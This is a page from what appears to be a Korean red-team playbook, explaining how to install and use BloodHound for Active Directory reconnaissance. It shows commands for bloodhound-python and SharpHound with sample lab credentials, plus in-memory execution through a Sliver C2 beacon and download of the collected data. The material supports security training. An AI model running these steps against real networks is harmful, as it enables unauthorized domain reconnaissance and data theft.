📖
레드팀 플레이북
깃허브기여하는 방법WhoAreWe블로그
  • 레드팀 플레이북
  • 레드팀이란
  • 레드팀 글로벌 동향 (2024)
  • 베이직 레드팀(Basic Redteam)
    • 개요
    • 1. 공격자 인프라 구성
    • 2. 초기 침투
    • 3. 정보 수집
    • 4. 권한 상승 - US
    • 5. 횡적 이동: USWKSTN01 -> SQL01
    • 6. 권한 상승 - SQL01
    • 7. 도메인 장악 WEB01
    • 8. US -> RT 장악
    • 9. RT -> DEV 정보 수집
    • 10. 권한 상승 및 목표 달성
  • 🚧인프라 (Infrastructure)
    • 개념
    • 예시 인프라
    • 팀 서버 - Sliver
      • 스테이저 (Stager) 사용
    • 도메인 분류와 신뢰도
    • HTTP 리다이렉터
    • HTTPS 리다이렉터
    • SMTP Gophish + Mail
    • SMTP Gophish + ESP
    • SMTP Gophish + Relay + ESP
    • 인프라 구축 자동화
      • 테라폼 (Terraform)
      • SMTP 테라폼 자동화
      • HTTPS 리다이렉터 자동화 (AWS)
    • old-네뷸라를 이용한 인프라 구축
      • 도메인과 리다이렉터 설정
      • 중립 공간 (클라우드) 설정
      • 네뷸라 (Nebula)
      • 네뷸라 설정
    • 도메인 프론팅 (Domain Fronting)
    • 도메인 프론팅 - Azure Edgio CDN
    • Cloudflared Tunnel과 Worker
    • Cloudflared Tunnel과 Pages
  • 🔎초기 정찰
    • 개념
    • 타겟 발견
    • OSINT
      • 작전보안
      • 자산 정보 수집
      • 구글 도킹
  • ⚔️초기 침투 (Initial Access)
    • 개념
    • 피싱 첨부파일
      • 오피스 VBA 매크로
      • XLM Excel 4.0 매크로
      • 원격 템플렛 인젝션
      • VBA Stomping
      • HTA
      • LNK
      • ISO
      • VBA Purging - TODO
      • DotNetToJS - TODO
      • Follina - TODO
    • HTML 스머글링 (Smuggling)
    • 피싱 - AitM (Adversary in the Middle)
    • Living Off Trusted Sites (LOTS)
  • 🐳정보 수집 - 내부망
    • 개념
    • 로컬 호스트 정보 수집
    • 블러드하운드
    • SMB 쉐어 수집
    • 정보 수집 - 파워쉘
    • 정보 수집 - C# - TODO
    • 커버로스 유저 이름 정보수집
    • CME - 호스트이름과 IP주소
    • LDAP Anonymous Bind
  • 🐴실행 (Execution)
    • 개념
    • 파워쉘
      • 인메모리 실행
      • C# 실행
      • 윈도우 API 실행
    • LOLBAS
    • Native API - TODO
  • 🙃지속성 (Persistence)
    • 개념
    • 골든 티켓 (Golden Ticket)
    • DLL 사이드로딩 (DLL Side-Loading)
    • DLL Search Order Hijacking - TODO
    • 레지스트리 / 스타트업 폴더
  • ⬆️권한 상승
    • 개념
    • AD 권한 상승
      • Active Directory Certificate Services (ADCS)
        • ESC1
        • ESC8
      • Shadow Credentials
      • noPac
      • Kerberoasting
      • AS-REP Roasting
      • DHCPv6 포이즈닝
      • Resource-Based Constrained Delegation (RBCD)
      • SCCM
    • AD-DACL
      • AddAllowedToAct
      • AddKeyCredentialLink
      • GenericAll
      • GenericWrite
      • WriteDACL
      • AllExtendedRights
      • WriteAccountRestrictions
      • WriteOwner
      • AddMember
    • 로컬 권한 상승 - TODO
      • 잘못된 서비스 설정
      • Unquoted Service Path
      • Always Install Elevated
      • PrintNightmare
  • 🐍보안 우회 (Defense Evasion)
    • 쉘코드 암호화
    • 런타임 다이나믹 링킹 (Run-time Dynamic Linking)
    • AMSI 우회
    • 유저랜드 후킹 - 역사
    • 유저랜드 커널랜드 윈도우API 개념
    • 유저랜드 후킹
    • DInvoke - 시스템 콜
    • 페이로드 크기
    • 가변적 C2 프로필
    • 프로세스 인젝션
      • CreateRemoteThread
      • NtMapViewOfSection
    • 간단 디펜더 우회 - 쉘코드
    • 간단 디펜더 우회 - C#
    • MSIExec
    • 다형성 코드
  • 👿후속 공격 (Post Exploitation)
    • 후속 공격의 진화
    • External SID Golden Ticket
  • 🎭계정 정보 탈취 (Credential Access)
    • 커버로스
      • 커버로스팅 (Kerberoasting)
      • AS-Rep Roasting
    • 비밀번호 스프레이 공격
    • LLMNR/NBT-NS 포이즈닝
    • NTLM 릴레이 (NTLM Relay)
      • SMB to SMB
      • SMB to LDAP/S
      • HTTP to LDAP
      • SMB to HTTP
      • SMB to SCCM
    • 강제 인증 (Authentication Coercion)
      • MS-RPRN - Printerbug / Print Spooler
      • MS-EFSRPC - Petitpotam
      • MS-FSRVP - ShadowCoerce
      • MS-DFSNM - DFSCoerce
    • NTLM 다운그레이드
    • DHCPv6 포이즈닝
    • LAPS - TODO
    • DCSync
    • DPAPI
  • ↔️횡적 이동 (Lateral Movement)
    • 개념
    • Pass-the-Hash
    • SMB 와 PsExec
    • WMI
    • WinRM / Powershell Remoting
    • RDP
    • SSH Port Forwarding & Tunneling
    • Dynamic Port Forwarding & ProxyChains
    • 네트워크 피버팅 - 툴
    • Network Pivoting (피벗) - TODO
  • 개념
    • 윈도우 사용자 인증
      • NTLM 인증
      • 커버로스 (Kerberos) 인증 - TODO
      • ADCS 인증서 기반 인증
    • AD 관련 용어 해설
  • 실 공격 TTP와 대응방안 - TODO
    • 개념
  • 🧑‍🔬홈 랩 (Home lab)
    • 시스몬 (sysmon) 설치
    • SIEM과 EDR 솔루션 설치
    • 취약한 랩을 위한 설정 커맨드
    • 말웨어 자동 분석툴 Cuckoo 샌드박스 설치
  • 기본 개념
    • DNS
      • 사이버 보안에 필요한 DNS 개념 편 #1
      • 해킹에 필요한 DNS 공격 & 우회 기법 편 #2
      • 방어에 필요한 DNS 탐지 편 #3
  • 웹 & 모바일
    • 01-계정관리
      • 통신 과정 흐름 훑어보기
      • 첫번쩨, payload설정 방법
      • 두번째, 세션을 유지하는 방법
      • CSRF Token에 관하여
      • 세번째, OWASP Juice Shop 로그인 페이지에서의 통신 흐름과 구조 알아보기
  • 🎅MISC
    • Host-based 공격 CheatSheet (FEAT. OSCP)
      • Enumeration (정보 수집 및 열거)
      • Exploitation (공격)
      • Post Exploitation (후속공격)
    • Changelog
    • 기여하는 방법
    • 레퍼런스와 크레딧
    • C# snippets
    • winapi 리스트
      • original notes from obsidian
    • 파워쉘 원라이너 (oneliner)
  • 📖Personal-Research
    • README-and-Template
      • HellsGate
      • HalosGate
      • FreshyCall
Powered by GitBook
On this page
  • 설치
  • 사용 - 데이터 Ingestor
  • 사용 - 블러드하운드 GUI
  • 레퍼런스
  1. 정보 수집 - 내부망

블러드하운드

Previous로컬 호스트 정보 수집NextSMB 쉐어 수집

Last updated 2 years ago

는 액티브 디렉토리의 LDAP 데이터를 수집하고 이를 그래프 자료구조 형식으로 보여주는 툴이다. 수만명의 도메인 유저 계정, 수십만대의 호스트들의 관계와 정보를 일일히 수동으로 정리하는 것은 불가능에 가깝다. 블러드하운드는 이를 도와주기 위해서 만들어진 툴이다.

블러드하운드는 총 3가지 툴로 운영된다.

  1. 블러드하운드 Data Ingestor - 도메인 컨트롤러에 접근에 LDAP 데이터를 추출한 뒤, 도메인 유저, 호스트, 그룹, 세션 등의 데이터를 json 형태로 저장하는 툴.

  2. Neo4J - 블러드 하운드의 백엔드 데이터베이스. Ingestor가 추출한 json 파일을 neo4j 데이터베이스에 불러온 뒤 블러드하운드 GUI에서 사용할 수 있게된다.

  3. 블러드하운드 GUI - 백엔드 데이터베이스의 데이터를 그래프 자료구조의 형식으로 보여주는 프론트엔드 GUI 툴.

설치

# 칼리 리눅스 
apt update -y 
apt install bloodhound -y 
neo4j console 

# http://localhost:7474 방문 후 neo4j:neo4j 를 이용해 로그인. 
# 이후, 비밀번호를 바꿔줌.

# 블러드하운드 실행 후 neo4j:<바뀐-비밀번호>로 로그인 
bloodhound 

사용 - 데이터 Ingestor

블러드하운드를 이용하기 위해선 타겟 도메인의 액티브 디렉토리 데이터를 Ingestor를 이용해 추출해야한다. 액티브 디렉토리 데이터를 추출하기 위해서는 도메인 유저의 계정정보나 세션이 필요하다. 초기 침투가 성공적이였다면 대부분 도메인 유저 (ex. 회계 부서의 김인턴) 의 문맥을 갖게된다.

데이터 Ingestor는 다양한 액티브 디렉토리의 정보들을 빼내올 수 있다. 공식문서의 -c, Collection method를 참고한다.

리눅스에서는 bloodhound-python을 이용한다.

# 설치 
pip3 install bloodhound 

# 실행 
bloodhound-python -c DCOnly -u <user> -p <pass> -d <domain> -dc <dc-fqdn>
bloodhound-python -c DCOnly -u low -p 'Password123!' -d choi.local -dc dc01.choi.local

콘솔을 갖고 있는 경우 SharpHound를 이용한다. SharpHound는 .NET 어셈블리이기 때문에 직접 실행하거나 파워쉘에서 불러온 후 메모리상에서 실행할 수 있다.

# Sharphound.exe 실행 
./SharpHound.exe -c <method> -d <domain>
./SharpHound.exe -c All -d choi.local

SharpHound는 .NET 어셈블리이기 때문에 비컨의 메모리상에서 execute-assembly 형식으로 사용할 수 있다.

# SharpHound Release를 다운받거나, 깃-클론 뒤 컴파일한다. 
wget https://github.com/BloodHoundAD/SharpHound/releases/download/v1.0.3/SharpHound-v1.0.3.zip . 
unzip SharpHound-v1.0.3.zip

# 슬리버의 execute-assembly를 이용해 메모리상에서 SharpHound를 실행한다. 
sliver> use <beacon-name>
sliver> execute-assembly /root/redteam/tools/SharpHound.exe "-c All -d choi.local"

# 다운로드 할 때는 백슬래쉬 이스케이프를 해주거나 큰 따옴표를 이용한다. 
sliver> download <원격-파일경로> <로컬-파일경로>
sliver> download "C:\Users\Administrator\Downloads\20220613235339_BloodHound.zip" /root/redteam/bh.zip

사용 - 블러드하운드 GUI

다운 받은 zip파일을 블러드하운드 GUI에다가 드래그 & 드롭 하면 된다.

이후 Analysis에서 미리 준비된 쿼리를 이용하거나 하단의 Raw Query 를 통해 직접 Cypher Query를 사용한다.

레퍼런스

블러드하운드 설치는 를 참고한다.

리눅스에서는 툴을, 윈도우에서는 툴을 이용한다.

🐳
공식 문서
bloodhound-python
SharpHound
블러드하운드(BloodHound)
BloodHound: Six Degrees of Domain Admin — BloodHound 3.0.3 documentation
Logo
GitHub - BloodHoundAD/BloodHound: Six Degrees of Domain AdminGitHub
GitHub - BloodHoundAD/SharpHoundGitHub
GitHub - fox-it/BloodHound.py: A Python based ingestor for BloodHoundGitHub
Logo
Logo
Logo
이미지 출처: https://bloodhound.readthedocs.io/en/latest/data-analysis/bloodhound-gui.html
블러드하운드 GUI 로그인 화면